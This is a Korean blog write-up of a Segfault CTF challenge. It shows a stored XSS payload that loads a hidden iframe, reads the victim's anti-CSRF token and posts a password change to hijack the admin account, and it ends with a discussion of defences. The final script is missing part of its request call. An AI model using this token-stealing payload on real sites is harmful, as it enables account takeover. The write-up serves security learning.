상세 컨텐츠

본문 제목

Segfault CTF - (12주 차) GET Admin 3

컴퓨터/보안 - CTF문제

by 디멘터 2024. 7. 8. 00:56

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - GET Admin 3

 

1. 목표 : $ID_admin계정을 탈취하여 Flag획득

 

2. 접근 방법 

  • Burp suite로 비밀번호 변경을 해보니 csrf_token을 같이 넘긴다.
  • scrf_token이 어느 부분에서 생기는지 확인할 필요가 있고, 어떻게 요청에 같이 보낼지 생각을 해봐야 한다.

비밀번호 변경 요청 시 들어가는 파라미터 확인

3. 문제 해결

CSRF 토큰에 대해 알아야 하니 CSRF 토큰 생성 소스코드를 GPT한테 물어보고 살펴보면 된다.

from flask import Flask, request, session, render_template_string, redirect, url_for
import os
import uuid

app = Flask(__name__)
app.secret_key = os.urandom(24)

def generate_csrf_token():
    token = str(uuid.uuid4())
    session['csrf_token'] = token
    return token

@app.route('/form')
def form():
    csrf_token = generate_csrf_token()
    form_html = '''
    <form method="post" action="/submit">
        <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
        <div>
            <label for="data">Data:</label>
            <input type="text" id="data" name="data">
        </div>
        <input type="submit" value="Submit">
    </form>
    '''
    return render_template_string(form_html, csrf_token=csrf_token)

@app.route('/submit', methods=['POST'])
def submit():
    submitted_token = request.form.get('csrf_token')
    if submitted_token != session.get('csrf_token'):
        return "CSRF token mismatch", 400
    data = request.form.get('data')
    return f"Form submitted with data: {data}"

if __name__ == '__main__':
    app.run(debug=True)

 

코드를 해석해 보면 그냥 '토큰을 발행해서 같이 보낸다' 뿐이다.

 

burp suite에서 보니 확실히 직관적으로 보인다.

 

burp suite에서 열어보니 직관적으로 보인다.

iframe으로 해당 페이지를 열고 토큰을 탈취한 다음

토큰을 넣어서 POST로 비밀번호 변경 요청을 보내는 스크립트를 넣어놓으면 될 것 같다.

 

CTF - GET Admin 2번 문제와 Steal info 문제의 요소를 결합하여 생각해 보면 해결 가능 한 것 같다.

 

token 값을 가져올려면 어떻게 입력해야 하는지 콘솔창에 입력해본다.

 

<iframe id='attack' src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" sytle="display:none;">
</iframe>

<script>
addEventListener('DOMContentLoaded', function(){
    var stolen_token = attack.contentDocument.getElementsByName('csrf_token')[0].value;
    alert(stolen_token);
})
</script>

처음에 이렇게 작성했는데, alert가 나올 때도 있고 안 나올 때도 있었다.

로딩속도 때문인 것 같다. addEvenetListner를 iframe에 맞춰야 한다.

<iframe id='attack' src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" style="display:none;"></iframe>

<script>
document.getElementById('attack').addEventListener('load', function() {
    var iframe = document.getElementById('attack');
    var stolen_token = iframe.contentDocument.getElementsByName('csrf_token')[0].value;
    alert(stolen_token);
});
</script>

 

이렇게 변경하고 token이 잘 alert 되는 것을 확인했다.

 

자 이제, CTF - GET Admin 2번 문제와  합치면 된다.

비동기 방식으로 POST요청을 보내되, csrf_token 파라미터에 훔친 토큰 값을 넣어주자.

<iframe id="attack" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" style="display:none;"></iframe>

<script>
    document.getElementById('attack').addEventListener('load', function() {
        var iframe = document.getElementById('attack');
        var stolen_token = iframe.contentDocument.getElementsByName('csrf_token')[0].value;

        // 비밀번호 변경 요청
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded"
            },
            body: `id=&info=&pw=1234&csrf_token=${stolen_token}`
        })
       
    });
</script>

게시글 작성 후
관리자님 제 글 좀 봐주세요

 

GET flag

 

  • 정리

XSS, CSRF 취약점과 더불어 iframe태그 사용까지 자유롭게 된다면, 안티 CSRF TOKEN이 힘을 쓰지 못한다.

 

그렇다면 이 것을 해결할 방법은 뭐가 있을까? 

 

현재까지 배운 상태에서, 나라면 session ID(또는 JWT token)을 같이 보내겠다.

왜냐하면 session ID나, JWT토큰은 쿠키 방어 옵션(secure, httpOnly)에서 탈취당하기 어렵기 때문이다.

 

이 것도 깊이 알아볼수록.. httpOnly가 걸려 있다고 하더라도, 또다시 정교한 CSRF에 의해 탈취될 수 있는데,

session ID나 JWT 토큰이 탈취할 수 있다면 굳이 비밀번호 요청을 보낼까?

 

하지만 네이버의 경우 로그인 중에도 접속 ip가 바뀌면 다시 로그인하게 되어있다.

만약 공격자가 session ID나 JWT토큰을 정교한 CSRF로 탈취한다고 하더라도 네이버에는 로그인하지 못하는 것이다.

또한 이 경우 비밀번호 없이 로그인한 것이라서 개인정보에 접근할 수없을 것이다.

(회원 정보 접근 시 비밀번호를 한번 더 입력 요구하니까)

 

그런 면에서 session ID나 JWT토큰을 요구하는 것도 충분히 유효한 방법이라고 생각할 수 있을 것 같다.

 

그런데 왜 불편하게 안티 CSRF TOKEN을 따로 만들어서 쓰는 것일까?

 

그것은 다음에 알아보기로..

관련글 더보기